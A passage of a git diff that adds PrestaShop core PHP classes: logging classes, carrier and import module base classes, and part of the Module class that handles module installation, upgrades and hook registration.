you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class AbstractLoggerCore +{ + public $level; + protected $level_value = array( + 0 => 'DEBUG', + 1 => 'INFO', + 2 => 'WARNING', + 3 => 'ERROR', + ); + + const DEBUG = 0; + const INFO = 1; + const WARNING = 2; + const ERROR = 3; + + public function __construct($level = self::INFO) + { + if (array_key_exists((int)$level, $this->level_value)) + $this->level = $level; + else + $this->level = self::INFO; + } + + /** + * Log the message + * + * @param string message + * @param level + */ + abstract protected function logMessage($message, $level); + + /** + * Check the level and log the message if needed + * + * @param string message + * @param level + */ + public function log($message, $level = self::DEBUG) + { + if ($level >= $this->level) + $this->logMessage($message, $level); + } + + /** + * Log a debug message + * + * @param string message + */ + public function logDebug($message) + { + $this->log($message, self::DEBUG); + } + + /** + * Log an info message + * + * @param string message + */ + public function logInfo($message) + { + $this->log($message, self::INFO); + } + + /** + * Log a warning message + * + * @param string message + */ + public function logWarning($message) + { + $this->log($message, self::WARNING); + } + + /** + * Log an error message + * + * @param string message + */ + public function logError($message) + { + $this->log($message, self::ERROR); + } +} + diff --git a/classes/log/FileLogger.php b/classes/log/FileLogger.php new file mode 100755 index 0000000..1f68df9 --- /dev/null +++ b/classes/log/FileLogger.php @@ -0,0 +1,70 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FileLoggerCore extends AbstractLogger +{ + protected $filename = ''; + + /** + * Write the message in the log file + * + * @param string message + * @param level + */ + protected function logMessage($message, $level) + { + $formatted_message = '*'.$this->level_value[$level].'* '."\t".date('Y/m/d - H:i:s').': '.$message."\r\n"; + return (bool)file_put_contents($this->getFilename(), $formatted_message, FILE_APPEND); + } + + /** + * Check if the specified filename is writable and set the filename + * + * @param string filename + */ + public function setFilename($filename) + { + if (is_writable(dirname($filename))) + $this->filename = $filename; + else + die('Directory '.dirname($filename).' is not writable'); + } + + /** + * Log the message + * + * @param string message + * @param level + */ + public function getFilename() + { + if (empty($this->filename)) + die('Filename is empty.'); + + return $this->filename; + } +} + diff --git a/classes/log/index.php b/classes/log/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/log/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/module/CarrierModule.php b/classes/module/CarrierModule.php new file mode 100755 index 0000000..5a86f2d --- /dev/null +++ b/classes/module/CarrierModule.php @@ -0,0 +1,32 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class CarrierModuleCore extends Module +{ + abstract public function getOrderShippingCost($params, $shipping_cost); + abstract public function getOrderShippingCostExternal($params); +} + diff --git a/classes/module/ImportModule.php b/classes/module/ImportModule.php new file mode 100755 index 0000000..e21e15b --- /dev/null +++ b/classes/module/ImportModule.php @@ -0,0 +1,112 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * ImportModule class, ImportModule.php + * Import module management + * @category classes + * + */ + +abstract class ImportModuleCore extends Module +{ + protected $_link = null; + + public $server; + + public $user; + + public $passwd; + + public $database; + + /** @var string Prefix database */ + public $prefix; + + + public function __destruct() + { + if ($this->_link) + @mysql_close($this->_link); + } + + protected function initDatabaseConnection() + { + if ($this->_link != null) + return $this->_link; + if ($this->_link = mysql_connect($this->server, $this->user, $this->passwd, true)) + { + if (!mysql_select_db($this->database, $this->_link)) + die(Tools::displayError('The database selection cannot be made.')); + if (!mysql_query('SET NAMES \'utf8\'', $this->_link)) + die(Tools::displayError('Fatal error: no UTF-8 support. Please check your server configuration.')); + } + else + die(Tools::displayError('Link to database cannot be established.')); + return $this->_link; + } + + public function ExecuteS($query) + { + $this->initDatabaseConnection(); + $result = mysql_query($query, $this->_link); + $resultArray = array(); + if ($result !== true) + while ($row = mysql_fetch_assoc($result)) + $resultArray[] = $row; + return $resultArray; + } + + public function Execute($query) + { + $this->initDatabaseConnection(); + return mysql_query($query, $this->_link); + } + + public function getValue($query) + { + $this->initDatabaseConnection(); + $result = $this->executeS($query); + if (!count($result)) + return 0; + else + return array_shift($result[0]); + } + + public static function getImportModulesOnDisk() + { + $modules = Module::getModulesOnDisk(true); + foreach ($modules as $key => $module) + if (!isset($module->parent_class) || $module->parent_class != 'ImportModule') + unset($modules[$key]); + return $modules; + } + + abstract public function getDefaultIdLang(); + +} + +?> diff --git a/classes/module/Module.php b/classes/module/Module.php new file mode 100755 index 0000000..dd2332c --- /dev/null +++ b/classes/module/Module.php @@ -0,0 +1,2033 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class ModuleCore +{ + /** @var integer Module ID */ + public $id = null; + + /** @var float Version */ + public $version; + public $database_version; + + /** + * @since 1.5.0.1 + * @var string Registered Version in database + */ + public $registered_version; + + /** @var array filled with known compliant PS versions */ + public $ps_versions_compliancy = array('min' => '1.4', 'max' => '1.6'); + + /** @var array filled with modules needed for install */ + public $dependencies = array(); + + /** @var string Unique name */ + public $name; + + /** @var string Human name */ + public $displayName; + + /** @var string A little description of the module */ + public $description; + + /** @var string author of the module */ + public $author; + + /** @var int need_instance */ + public $need_instance = 1; + + /** @var string Admin tab corresponding to the module */ + public $tab = null; + + /** @var boolean Status */ + public $active = false; + + /** @var string Fill it if the module is installed but not yet set up */ + public $warning; + + /** @var array to store the limited country */ + public $limited_countries = array(); + + /** @var array used by AdminTab to determine which lang file to use (admin.php or module lang file) */ + public static $classInModule = array(); + + /** @var array current language translations */ + protected $_lang = array(); + + /** @var string Module web path (eg. '/shop/modules/modulename/') */ + protected $_path = null; + /** + * @since 1.5.0.1 + * @var string Module local path (eg. '/home/prestashop/modules/modulename/') + */ + protected $local_path = null; + + /** @var protected array filled with module errors */ + protected $_errors = array(); + + /** @var protected array filled with module success */ + protected $_confirmations = array(); + + /** @var protected string main table used for modules installed */ + protected $table = 'module'; + + /** @var protected string identifier of the main table */ + protected $identifier = 'id_module'; + + /** @var protected array cache filled with modules informations */ + protected static $modules_cache; + + /** @var protected array cache filled with modules instances */ + protected static $_INSTANCE = array(); + + /** @var protected boolean filled with config xml generation mode */ + protected static $_generate_config_xml_mode = false; + + /** @var protected array filled with cache translations */ + protected static $l_cache = array(); + + /** @var protected array filled with cache permissions (modules / employee profiles) */ + protected static $cache_permissions = array(); + + /** @var Context */ + protected $context; + + /** @var Smarty_Data */ + protected $smarty; + + + const CACHE_FILE_MODULES_LIST = '/config/xml/modules_list.xml'; + + const CACHE_FILE_TAB_MODULES_LIST = '/config/xml/tab_modules_list.xml'; + + const CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST = '/config/xml/default_country_modules_list.xml'; + + const CACHE_FILE_CUSTOMER_MODULES_LIST = '/config/xml/customer_modules_list.xml'; + + const CACHE_FILE_MUST_HAVE_MODULES_LIST = '/config/xml/must_have_modules_list.xml'; + + /** + * Constructor + * + * @param string $name Module unique name + * @param Context $context + */ + public function __construct($name = null, Context $context = null) + { + // Load context and smarty + $this->context = $context ? $context : Context::getContext(); + if (is_object($this->context->smarty)) + $this->smarty = $this->context->smarty->createData($this->context->smarty); + + // If the module has no name we gave him its id as name + if ($this->name == null) + $this->name = $this->id; + + // If the module has the name we load the corresponding data from the cache + if ($this->name != null) + { + // If cache is not generated, we generate it + if (self::$modules_cache == null && !is_array(self::$modules_cache)) + { + // Join clause is done to check if the module is activated in current shop context + $sql_limit_shop = 'SELECT COUNT(*) FROM `'._DB_PREFIX_.'module_shop` ms WHERE m.`id_module` = ms.`id_module` AND ms.`id_shop` = '.((is_object(Context::getContext()->shop) && $id = (int)Context::getContext()->shop->id) ? $id : 1); + + $sql = 'SELECT m.`id_module`, m.`name`, ('.$sql_limit_shop.') as total FROM `'._DB_PREFIX_.'module` m'; + + // Result is cached + self::$modules_cache = array(); + $result = Db::getInstance()->executeS($sql); + foreach ($result as $row) + { + self::$modules_cache[$row['name']] = $row; + self::$modules_cache[$row['name']]['active'] = ($row['total'] > 0) ? 1 : 0; + } + } + + // We load configuration from the cache + if (isset(self::$modules_cache[$this->name])) + { + if (isset(self::$modules_cache[$this->name]['id_module'])) + $this->id = self::$modules_cache[$this->name]['id_module']; + foreach (self::$modules_cache[$this->name] as $key => $value) + if (key_exists($key, $this)) + $this->{$key} = $value; + $this->_path = __PS_BASE_URI__.'modules/'.$this->name.'/'; + } + $this->local_path = _PS_MODULE_DIR_.$this->name.'/'; + } + } + + /** + * Insert module into datable + */ + public function install() + { + Hook::exec('actionModuleInstallBefore', array('object' => $this)); + // Check module name validation + if (!Validate::isModuleName($this->name)) + { + $this->_errors[] = $this->l('Unable to install the module (Module name is not valid).'); + return false; + } + + // Check PS version compliancy + if (version_compare(_PS_VERSION_, $this->ps_versions_compliancy['min']) < 0 || version_compare(_PS_VERSION_, $this->ps_versions_compliancy['max']) >= 0) + { + $this->_errors[] = $this->l('The version of your module is not compliant with your PrestaShop version.'); + return false; + } + + // Check module dependencies + if (count($this->dependencies) > 0) + foreach ($this->dependencies as $dependency) + if (!Db::getInstance()->getRow('SELECT `id_module` FROM `'._DB_PREFIX_.'module` WHERE `name` = \''.pSQL($dependency).'\'')) + { + $error = $this->l('Before installing this module, you have to installed these/this module(s) first :').'<br />'; + foreach ($this->dependencies as $d) + $error .= '- '.$d.'<br />'; + $this->_errors[] = $error; + return false; + } + + // Check if module is installed + $result = Db::getInstance()->getRow('SELECT `id_module` FROM `'._DB_PREFIX_.'module` WHERE `name` = \''.pSQL($this->name).'\''); + if ($result) + { + $this->_errors[] = $this->l('This module has already been installed.'); + return false; + } + + // Install overrides + try { + $this->installOverrides(); + } catch (Exception $e) { + $this->_errors[] = sprintf(Tools::displayError('Unable to install override: %s'), $e->getMessage()); + //$this->uninstallOverrides(); remove this line because if module a install an override, then module b install same override, this line will remove override of module a (if you find a bug related to this line please don't forget what i say before) + return false; + } + + // Install module and retrieve the installation id + $result = Db::getInstance()->insert($this->table, array('name' => $this->name, 'active' => 1, 'version' => $this->version)); + if (!$result) + { + $this->_errors[] = $this->l('Technical error : PrestaShop could not installed this module.'); + return false; + } + $this->id = Db::getInstance()->Insert_ID(); + + Cache::clean('Module::isInstalled'.$this->name); + + // Enable the module for current shops in context + $this->enable(); + + // Permissions management + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'module_access` (`id_profile`, `id_module`, `view`, `configure`) ( + SELECT id_profile, '.(int)$this->id.', 1, 1 + FROM '._DB_PREFIX_.'access a + WHERE id_tab = ( + SELECT `id_tab` FROM '._DB_PREFIX_.'tab + WHERE class_name = \'AdminModules\' LIMIT 1) + AND a.`view` = 1)'); + + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'module_access` (`id_profile`, `id_module`, `view`, `configure`) ( + SELECT id_profile, '.(int)$this->id.', 1, 0 + FROM '._DB_PREFIX_.'access a + WHERE id_tab = ( + SELECT `id_tab` FROM '._DB_PREFIX_.'tab + WHERE class_name = \'AdminModules\' LIMIT 1) + AND a.`view` = 0)'); + + // Adding Restrictions for client groups + Group::addRestrictionsForModule($this->id, Shop::getShops(true, null, true)); + Hook::exec('actionModuleInstallAfter', array('object' => $this)); + return true; + } + + /** + * Set errors, warning or success message of a module upgrade + * + * @param $upgrade_detail + */ + protected function setUpgradeMessage($upgrade_detail) + { + // Store information if a module has been upgraded (memory optimization) + if ($upgrade_detail['available_upgrade']) + { + if ($upgrade_detail['success']) + { + $this->_confirmations[] = $this->l('Current version: ').$this->version; + $this->_confirmations[] = $upgrade_detail['number_upgraded'].' '.$this->l('file upgrade applied'); + } + else + { + if (!$upgrade_detail['number_upgraded']) + $this->_errors[] = $this->l('None upgrades have been applied'); + else + { + $this->_errors[] = $this->l('Upgraded from: ').$upgrade_detail['upgraded_from'].$this->l(' to '). + $upgrade_detail['upgraded_to']; + $this->_errors[] = $upgrade_detail['number_upgrade_left'].' '.$this->l('upgrade left'); + } + + $this->_errors[] = $this->l('To prevent any problem, this module has been turned off'); + } + } + } + + /** + * Init the upgrade module + * + * @static + * @param $module_name + * @param $module_version + * @return bool + */ + public static function initUpgradeModule($module) + { + // Init cache upgrade details + self::$modules_cache[$module->name]['upgrade'] = array( + 'success' => false, // bool to know if upgrade succeed or not + 'available_upgrade' => 0, // Number of available module before any upgrade + 'number_upgraded' => 0, // Number of upgrade done + 'number_upgrade_left' => 0, + 'upgrade_file_left' => array(), // List of the upgrade file left + 'version_fail' => 0, // Version of the upgrade failure + 'upgraded_from' => 0, // Version number before upgrading anything + 'upgraded_to' => 0, // Last upgrade applied + ); + + // Need Upgrade will check and load upgrade file to the moduleCache upgrade case detail + $ret = $module->installed && Module::needUpgrade($module); + return $ret; + } + + /** + * Run the upgrade for a given module name and version + * + * @return array + */ + public function runUpgradeModule() + { + $upgrade = &self::$modules_cache[$this->name]['upgrade']; + foreach ($upgrade['upgrade_file_left'] as $num => $file_detail) + { + // Default variable required in the included upgrade file need to be set by default there: + // upgrade_version, success_upgrade + $upgrade_result = false; + include($file_detail['file']); + + // Call the upgrade function if defined + if (function_exists($file_detail['upgrade_function'])) + $upgrade_result = $file_detail['upgrade_function']($this); + + $upgrade['success'] = $upgrade_result; + + // Set detail when an upgrade succeed or failed + if ($upgrade_result) + { + $upgrade['number_upgraded'] += 1; + $upgrade['upgraded_to'] = $file_detail['version']; + + unset($upgrade['upgrade_file_left'][$num]); + } + else + { + $upgrade['version_fail'] = $file_detail['version']; + + // If any errors, the module is disabled + $this->disable(); + break; + } + } + + $upgrade['number_upgrade_left'] = count($upgrade['upgrade_file_left']); + // Update module version in DB with the last succeed upgrade + if ($upgrade['upgraded_to']) + Module::upgradeModuleVersion($this->name, $upgrade['upgraded_to']); + $this->setUpgradeMessage($upgrade); + return $upgrade; + } + + /** + * Upgrade the registered version to a new one + * + * @static + * @param $name + * @param $version + * @return bool + */ + public static function upgradeModuleVersion($name, $version) + { + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'module` m + SET m.version = \''.bqSQL($version).'\' + WHERE m.name = \''.bqSQL($name).'\''); + } + + /** + * Check if a module need to be upgraded. + * This method modify the module_cache adding an upgrade list file + * + * @static + * @param $module_name + * @param $module_version + * @return bool + */ + public static function needUpgrade($module) + { + self::$modules_cache[$module->name]['upgrade']['upgraded_from'] = $module->database_version; + // Check the version of the module with the registered one and look if any upgrade file exist + if (Tools::version_compare($module->version, $module->database_version, '>')) + { + $old_version = $module->database_version; + $module = Module::getInstanceByName($module->name); + if ($module instanceof Module) + return $module->loadUpgradeVersionList($module->name, $module->version, $old_version); + } + return null; + } + + /** + * Load the available list of upgrade of a specified module + * with an associated version + * + * @static + * @param $module_name + * @param $module_version + * @param $registered_version + * @return bool to know directly if any files have been found + */ + protected static function loadUpgradeVersionList($module_name, $module_version, $registered_version) + { + $list = array(); + + $upgrade_path = _PS_MODULE_DIR_.$module_name.'/upgrade/'; + + // Check if folder exist and it could be read + if (file_exists($upgrade_path) && ($files = scandir($upgrade_path))) + { + // Read each file name + foreach ($files as $file) + if (!in_array($file, array('.', '..', '.svn', 'index.php'))) + { + $tab = explode('-', $file); + $file_version = basename($tab[1], '.php'); + // Compare version, if minor than actual, we need to upgrade the module + if (count($tab) == 2 && + (Tools::version_compare($file_version, $module_version, '<=') && + Tools::version_compare($file_version, $registered_version, '>'))) + { + $list[] = array( + 'file' => $upgrade_path.$file, + 'version' => $file_version, + 'upgrade_function' => 'upgrade_module_'.str_replace('.', '_', $file_version)); + } + } + } + + // No files upgrade, then upgrade succeed + if (count($list) == 0) + { + self::$modules_cache[$module_name]['upgrade']['success'] = true; + Module::upgradeModuleVersion($module_name, $module_version); + } + + usort($list, 'ps_module_version_sort'); + + // Set the list to module cache + self::$modules_cache[$module_name]['upgrade']['upgrade_file_left'] = $list; + self::$modules_cache[$module_name]['upgrade']['available_upgrade'] = count($list); + return (bool)count($list); + } + + /** + * Return the status of the upgraded module + * + * @static + * @param $module_name + * @return bool + */ + public static function getUpgradeStatus($module_name) + { + return (isset(self::$modules_cache[$module_name]) && + self::$modules_cache[$module_name]['upgrade']['success']); + } + + /** + * Delete module from datable + * + * @return boolean result + */ + public function uninstall() + { + // Check module installation id validation + if (!Validate::isUnsignedId($this->id)) + { + $this->_errors[] = $this->l('The module is not installed.'); + return false; + } + + // Uninstall overrides + if (!$this->uninstallOverrides()) + return false; + + // Retrieve hooks used by the module + $sql = 'SELECT `id_hook` FROM `'._DB_PREFIX_.'hook_module` WHERE `id_module` = '.(int)$this->id; + $result = Db::getInstance()->executeS($sql); + foreach ($result as $row) + { + $this->unregisterHook((int)$row['id_hook']); + $this->unregisterExceptions((int)$row['id_hook']); + } + + // Disable the module for all shops + $this->disable(true); + + // Delete permissions module access + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module_access` WHERE `id_module` = '.(int)$this->id); + + // Remove restrictions for client groups + Group::truncateRestrictionsByModule($this->id); + + // Uninstall the module + if (Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module` WHERE `id_module` = '.(int)$this->id)) + { + Cache::clean('Module::isInstalled'.$this->name); + return true; + } + + return false; + } + + /** + * This function enable module $name. If an $name is an array, + * this will enable all of them + * + * @param array|string $name + * @return true if succeed + * @since 1.4.1 + */ + public static function enableByName($name) + { + // If $name is not an array, we set it as an array + if (!is_array($name)) + $name = array($name); + $res = true; + // Enable each module + foreach ($name as $n) + if (Validate::isModuleName($n)) + $res &= Module::getInstanceByName($n)->enable(); + return $res; + } + + /** + * Activate current module. + * + * @param bool $forceAll If true, enable module for all shop + */ + public function enable($forceAll = false) + { + // Retrieve all shops where the module is enabled + $list = Shop::getContextListShopID(); + $sql = 'SELECT `id_shop` FROM `'._DB_PREFIX_.'module_shop` + WHERE `id_module` = '.$this->id. + ((!$forceAll) ? ' AND `id_shop` IN('.implode(', ', $list).')' : ''); + + // Store the results in an array + $items = array(); + if ($results = Db::getInstance($sql)->executeS($sql)) + foreach ($results as $row) + $items[] = $row['id_shop']; + + // Enable module in the shop where it is not enabled yet + foreach ($list as $id) + if (!in_array($id, $items)) + Db::getInstance()->insert('module_shop', array( + 'id_module' => $this->id, + 'id_shop' => $id, + )); + + return true; + } + + /** + * This function disable module $name. If an $name is an array, + * this will disable all of them + * + * @param array|string $name + * @return true if succeed + * @since 1.4.1 + */ + public static function disableByName($name) + { + // If $name is not an array, we set it as an array + if (!is_array($name)) + $name = array($name); + $res = true; + // Disable each module + foreach ($name as $n) + if (Validate::isModuleName($n)) + $res &= Module::getInstanceByName($n)->disable(); + return $res; + } + + /** + * Desactivate current module. + * + * @param bool $forceAll If true, disable module for all shop + */ + public function disable($forceAll = false) + { + // Disable module for all shops + $sql = 'DELETE FROM `'._DB_PREFIX_.'module_shop` WHERE `id_module` = '.(int)$this->id.' '.((!$forceAll) ? ' AND `id_shop` IN('.implode(', ', Shop::getContextListShopID()).')' : ''); + Db::getInstance()->execute($sql); + } + + /** + * Display flags in forms for translations + * + * @param array $languages All languages available + * @param integer $default_language Default language id + * @param string $ids Multilingual div ids in form + * @param string $id Current div id] + * @param boolean $return define the return way : false for a display, true for a return + * @param boolean $use_vars_instead_of_ids use an js vars instead of ids seperate by "¤" + */ + public function displayFlags($languages, $default_language, $ids, $id, $return = false, $use_vars_instead_of_ids = false) + { + if (count($languages) == 1) + return false; + + $output = ' + <div class="displayed_flag"> + <img src="../img/l/'.$default_language.'.jpg" class="pointer" id="language_current_'.$id.'" onclick="toggleLanguageFlags(this);" alt="" /> + </div> + <div id="languages_'.$id.'" class="language_flags"> + '.$this->l('Choose language:').'<br /><br />'; + foreach ($languages as $language) + if ($use_vars_instead_of_ids) + $output .= '<img src="../img/l/'.(int)$language['id_lang'].'.jpg" class="pointer" alt="'.$language['name'].'" title="'.$language['name'].'" onclick="changeLanguage(\''.$id.'\', '.$ids.', '.$language['id_lang'].', \''.$language['iso_code'].'\');" /> '; + else + $output .= '<img src="../img/l/'.(int)$language['id_lang'].'.jpg" class="pointer" alt="'.$language['name'].'" title="'.$language['name'].'" onclick="changeLanguage(\''.$id.'\', \''.$ids.'\', '.$language['id_lang'].', \''.$language['iso_code'].'\');" /> '; + $output .= '</div>'; + + if ($return) + return $output; + echo $output; + } + + /** + * Connect module to a hook + * + * @param string $hook_name Hook name + * @param array $shop_list List of shop linked to the hook (if null, link hook to all shops) + * @return boolean result + */ + public function registerHook($hook_name, $shop_list = null) + { + // Check hook name validation and if module is installed + if (!Validate::isHookName($hook_name)) + throw new PrestaShopException('Invalid hook name'); + if (!isset($this->id) || !is_numeric($this->id)) + return false; + + // Retrocompatibility + if ($alias = Hook::getRetroHookName($hook_name)) + $hook_name = $alias; + + // Get hook id + $id_hook = Hook::getIdByName($hook_name); + + // If hook does not exist, we create it + if (!$id_hook) + { + $new_hook = new Hook(); + $new_hook->name = pSQL($hook_name); + $new_hook->title = pSQL($hook_name); + $new_hook->add(); + $id_hook = $new_hook->id; + if (!$id_hook) + return false; + } + + // If shop lists is null, we fill it with all shops + if (is_null($shop_list)) + $shop_list = Shop::getShops(true, null, true); + + $return = true; + foreach ($shop_list as $shop_id) + { + // Check if already register + $sql = 'SELECT hm.`id_module` + FROM `'._DB_PREFIX_.'hook_module` hm, `'._DB_PREFIX_.'hook` h + WHERE hm.`id_module` = '.(int)($this->id).' AND h.`id_hook` = '.$id_hook.' + AND h.`id_hook` = hm.`id_hook` AND `id_shop` = '.(int)$shop_id; + if (Db::getInstance()->getRow($sql)) + continue; + + // Get module position in hook + $sql = 'SELECT MAX(`position`) AS position + FROM `'._DB_PREFIX_.'hook_module` + WHERE `id_hook` = '.(int)$id_hook.' AND `id_shop` = '.(int)$shop_id; + if (!$position = Db::getInstance()->getValue($sql)) + $position = 0; + + // Register module in hook + $return &= Db::getInstance()->insert('hook_module', array( + 'id_module' => (int)$this->id, + 'id_hook' => (int)$id_hook, + 'id_shop' => (int)$shop_id, + 'position' => (int)($position + 1), + )); + } + + return $return; + } + + /** + * Unregister module from hook + * + * @param mixed $id_hook Hook id (can be a hook name since 1.5.0) + * @param array $shop_list List of shop + * @return boolean result + */ + public function unregisterHook($hook_id, $shop_list = null) + { + // Get hook id if a name is given as argument + if (!is_numeric($hook_id)) + { + // Retrocompatibility + $hook_id = Hook::getIdByName($hook_id); + if (!$hook_id) + return false; + } + + // Unregister module on hook by id + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module` + WHERE `id_module` = '.(int)$this->id.' AND `id_hook` = '.(int)$hook_id + .(($shop_list) ? ' AND `id_shop` IN('.implode(', ', $shop_list).')' : ''); + $result = Db::getInstance()->execute($sql); + + // Clean modules position + $this->cleanPositions($hook_id, $shop_list); + + return $result; + } + + /** + * Unregister exceptions linked to module + * + * @param int $id_hook Hook id + * @param array $shop_list List of shop + * @return boolean result + */ + public function unregisterExceptions($hook_id, $shop_list = null) + { + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module_exceptions` + WHERE `id_module` = '.(int)$this->id.' AND `id_hook` = '.(int)$hook_id + .(($shop_list) ? ' AND `id_shop` IN('.implode(', ', $shop_list).')' : ''); + return Db::getInstance()->execute($sql); + } + + /** + * Add exceptions for module->Hook + * + * @param int $id_hook Hook id + * @param array $excepts List of file name + * @param array $shop_list List of shop + * @return boolean result + */ + public function registerExceptions($id_hook, $excepts, $shop_list = null) + { + // If shop lists is null, we fill it with all shops + if (is_null($shop_list)) + $shop_list = Shop::getContextListShopID(); + + // Save modules exception for each shop + foreach ($shop_list as $shop_id) + { + foreach ($excepts as $except) + { + if (!$except) + continue; + $insertException = array( + 'id_module' => (int)$this->id, + 'id_hook' => (int)$id_hook, + 'id_shop' => (int)$shop_id, + 'file_name' => pSQL($except), + ); + $result = Db::getInstance()->insert('hook_module_exceptions', $insertException); + if (!$result) + return false; + } + } + return true; + } + + /** + * Edit exceptions for module->Hook + * + * @param int $hookID Hook id + * @param array $excepts List of shopID and file name + * @return boolean result + */ + public function editExceptions($id_hook, $excepts) + { + $result = true; + foreach ($excepts as $shop_id => $except) + { + $shop_list = ($shop_id == 0) ? Shop::getContextListShopID() : array($shop_id); + $this->unregisterExceptions($id_hook, $shop_list); + $result &= $this->registerExceptions($id_hook, $except, $shop_list); + } + + return $result; + } + + + /** + * This function is used to determine the module name + * of an AdminTab which belongs to a module, in order to keep translation + * related to a module in its directory (instead of $_LANGADM) + * + * @param mixed $currentClass the + * @return boolean|string if the class belongs to a module, will return the module name. Otherwise, return false. + */ + public static function getModuleNameFromClass($currentClass) + { + // Module can now define AdminTab keeping the module translations method, + // i.e. in modules/[module name]/[iso_code].php + if (!isset(self::$classInModule[$currentClass]) && class_exists($currentClass)) + { + global $_MODULES; + $_MODULE = array(); + $reflectionClass = new ReflectionClass($currentClass); + $filePath = realpath($reflectionClass->getFileName()); + $realpathModuleDir = realpath(_PS_MODULE_DIR_); + if (substr(realpath($filePath), 0, strlen($realpathModuleDir)) == $realpathModuleDir) + { + // For controllers in module/controllers path + if (basename(dirname(dirname($filePath))) == 'controllers') + self::$classInModule[$currentClass] = basename(dirname(dirname(dirname($filePath)))); + // For old AdminTab controllers + else + self::$classInModule[$currentClass] = substr(dirname($filePath), strlen($realpathModuleDir) + 1); + + $file = _PS_MODULE_DIR_.self::$classInModule[$currentClass].'/'.Context::getContext()->language->iso_code.'.php'; + if (Tools::file_exists_cache($file) && include_once($file)) + $_MODULES = !empty($_MODULES) ? array_merge($_MODULES, $_MODULE) : $_MODULE; + } + else + self::$classInModule[$currentClass] = false; + } + + // return name of the module, or false + return self::$classInModule[$currentClass]; + } + + /** + * Return an instance of the specified module + * + * @param string $module_name Module name + * @return Module + */ + public static function getInstanceByName($module_name) + { + if (!Validate::isModuleName($module_name)) + { + if (_PS_MODE_DEV_) 